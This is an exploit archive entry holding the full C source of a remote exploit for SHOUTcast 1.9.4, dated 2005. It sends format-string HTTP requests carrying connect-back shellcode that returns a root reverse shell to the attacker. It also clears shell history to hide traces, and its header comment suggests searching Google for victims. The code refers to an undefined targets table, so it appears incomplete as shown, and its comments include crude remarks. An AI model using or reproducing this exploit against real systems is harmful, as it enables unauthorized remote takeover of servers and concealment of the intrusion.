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exwormshoutcast.c

exwormshoutcast.c
Posted Feb 25, 2005
Authored by jsk

SHOUTcast version 1.9.4 remote exploit. Tested on RedHat 90 and Fedora 1. Has connectback shellcode.

tags | exploit, remote, shellcode
systems | linux, redhat, fedora
SHA-256 | 01fb25e458acea0e70572dfa7a4519ff1bba3f7699629b31e3eee8cdd497c6c9

exwormshoutcast.c

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/* _ ________ _____ ______
*
* exwormshoucast part of PTjob project SHOUTcast v1.9.4 remote exploit / \ / "fuck mm"
* by jsk exworm (exworm.hostrocket.com) \/
* my home www.ph4nt0m.org
* bug found by pucik_at_cc-team.org
* test it in redhat 9.0 an fedora 1( use google :8000/listen.ls maybe get some ..hehe)
* laji chengxu ....so pub it...
* GT: emm.oyxin.seal.ava.haggis.b_root.more..
* No girl No money No jop...
*[root@localhost home]# ./suck_shoutcast -h ***.***.***.***
*SHOUTcast v1.9.4 remote exploit by exworm of 0seen
*--------------------------------------------------(need money.to..fk..girl..)
*[+] lisntener...
*[*] Sending first request ...
*[*] Sending second request ...
*[+] ownedbyOseen!
*-----------------------------------------------------------
*Linux localhost.localdomain 2.4.22-1.2115.nptl #1 Wed Oct 29 15:42:51 EST 2003 i686 i686 i386 GNU/Linux
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*** oseen are chinese...
*
*
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <errno.h>
#include <linux/sockios.h>

#define BUF 1024



char linux_connect_back[] = /* connect back 45295 */
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\xc0\xa8\x5a\x01\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
int sock;
void usage();
void shell();

void
usage(char *prog)
{

fprintf(stderr,"Usage: %s -t [-pah]\n",prog);
fprintf(stderr,"-t version Linux version.\n");
fprintf(stderr,"-h target The host to attack.\n");
fprintf(stderr,"-a devices Default device is \"ppp0\".\n");
fprintf(stderr,"-p port Default port is 8000.\n\n");
}

int
openhost(char *host,int port)
{
struct sockaddr_in addr;
struct hostent *he;

he=gethostbyname(host);

if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;

memcpy(&addr.sin_addr, he->h_addr, he->h_length);

addr.sin_family=AF_INET;
addr.sin_port=htons(port);

if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
sock=-1;
return sock;
}


void
shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; /bin/uname -a;/usr/bin/id; echo '*** oseen are chinese...'\n";
int n;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);

send(sock, cmd, strlen(cmd), 0);

while(1) {
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);

if (select(sock+1, &fd_read, NULL, NULL, NULL) < 0) break;

if (FD_ISSET(sock, &fd_read)) {
if ((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "[+] EOF\n");
exit(2);
}

if (write(1, buff, n) <0) break;
}

if (FD_ISSET(0, &fd_read)) {
if ((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr,"[+] EOF\n");
exit(2);
}

if (send(sock, buff, n, 0) < 0) break;
}
}

fprintf(stderr,"[+] Connection lost.\n\n");
exit(0);
}

unsigned char
*get_my_ip_addr(int sockfd, struct ifreq *ifr)
{
struct sockaddr_in sin;
char *b = (char *) malloc(4);

if (ioctl(sockfd ,SIOCGIFADDR,ifr) < 0) {
fprintf(stderr, "Unable to get the local IP Address, use -a.\n");
exit(1);
}

memcpy(&sin, &ifr->ifr_addr, sizeof(struct sockaddr_in));
memcpy(b, (char *) &sin.sin_addr.s_addr, 4);
return b;
}


int
main (int argc,char *argv[])
{
char buf1[512];
char buf2[512];
char host[256];
char pass[256]="changeme";
char data;








int type= 0;
int c=0;
int port=8001;
char devices[256] = "ppp0";
unsigned char *ptr;

struct hostent *hp;
struct sockaddr_in sin_listener;
struct ifreq ifr;
struct timeval timeout;

fd_set fdread;

int delay = 12;
int i = 0;
int mode = 0;
int local_port = 0;
int opt = 0;
int ret = 0;
int sin_len = sizeof (struct sockaddr_in);
int sock = 0;
int sock2 = 0;
int sockd = 0;
int listener = 0;
int time_out = 4;
int tmp = 0;

srand(getpid());

fprintf(stdout,"SHOUTcast v1.9.4 remote exploit by exworm of 0seen\n");
fprintf(stdout,"--------------------------------------------------(www.oseen.org)\n");

while((c=getopt(argc,argv,"h:p:a:t:")) !=EOF)
{
switch(c)
{
case 'p':
port=atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr,"Invalid port.\n\n");
exit(1);
}
break;
case 'a':
memset(devices,0x0,sizeof(devices));
strncpy(devices,optarg,sizeof(devices) - 1);
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 28) {
for(i = 0; i < sizeof(targets) / 28; i++)
fprintf(stderr, "%02d. %s - %s [0x%08x - 0x%08x]\n",
i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax);
return -1;
}
break;
case 'h':
memset(host,0x0,sizeof(host));
strncpy(host,optarg,sizeof(host) - 1);
break;

default:
usage(argv[0]);
exit(1);
break;
}
}

timeout.tv_sec = time_out;
timeout.tv_usec = 0;





if (strlen(host) == 0) {
usage(argv[0]);
exit(1);
}
sock=openhost(host, port);

if (sock==-1) {
fprintf(stderr,"- Unable to connect.\n\n");
exit(1);
}

strncpy(ifr.ifr_name, devices, 15);

if ((sockd = socket(AF_INET, SOCK_DGRAM, 17)) < 0) {
fprintf(stderr, "socket() error.\n");
return -1;
}

if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "socket() error.\n");
return -1;
}

ptr = get_my_ip_addr(sockd, &ifr);
memcpy(&sin_listener.sin_addr.s_addr, ptr, 4);

sin_listener.sin_family = AF_INET;
memset(&sin_listener.sin_zero, 0x00, 8);

while(1) {
local_port = local_port = 45295;
sin_listener.sin_port = htons(local_port);
if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break;
}



listen(listener, 1);
fprintf(stdout, "[+] lisntener...\n");

linux_connect_back[129] = (unsigned int) *(ptr + 0);
linux_connect_back[130] = (unsigned int) *(ptr + 1);
linux_connect_back[131] = (unsigned int) *(ptr + 2);
linux_connect_back[132] = (unsigned int) *(ptr + 3);



char req[1024] = "GET /content/DD"
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"

"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";

strcat(req, "DD.mp3 HTTP/1.0\r\n\r\n");

char req1[1024] = "GET /content/AA"
/* sprintf GOT addr */
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";





strcat(req1, linux_connect_back);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");

char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAA-%n-"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
" /HTTP/1.0\r\n\r\n";


printf("[*] Sending first request ...\n");
write(sock, req1, strlen(req1));

close(sock);
sock=openhost(host, 8000);
if (sock==-1) {
fprintf(stderr,"- Unable to connect.\n\n");
exit(1);
}

printf("[*] Sending second request ...\n");


while(1) {
write(sock, req2, strlen(req2));
sleep(2);
FD_ZERO(&fdread);
FD_SET(listener, &fdread);

timeout.tv_sec = time_out;
timeout.tv_usec = 0;

while(1) {

ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout);

if (ret < 0) {
close(sock);
close(listener);
fprintf(stderr, "select() error.\n");
return -1;
}

if (ret == 0) {
fprintf(stderr, "[+] Failed, waiting %d seconds.\n"
"[+] Use ctrl-c to abort.\n", delay);
sleep(delay);
break;
}

if(FD_ISSET(listener, &fdread)) {
sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len);
close(sock);
close(listener);

fprintf(stderr, "[+] ownedbyOseen!\n"
"-----------------------------------------------------------\n");
shell(sock2);
close(sock2);
return 0;
}
}

}

fprintf(stderr, "[+] Exploit failed.\n");
close(listener);
close(sock);
return 0;

}

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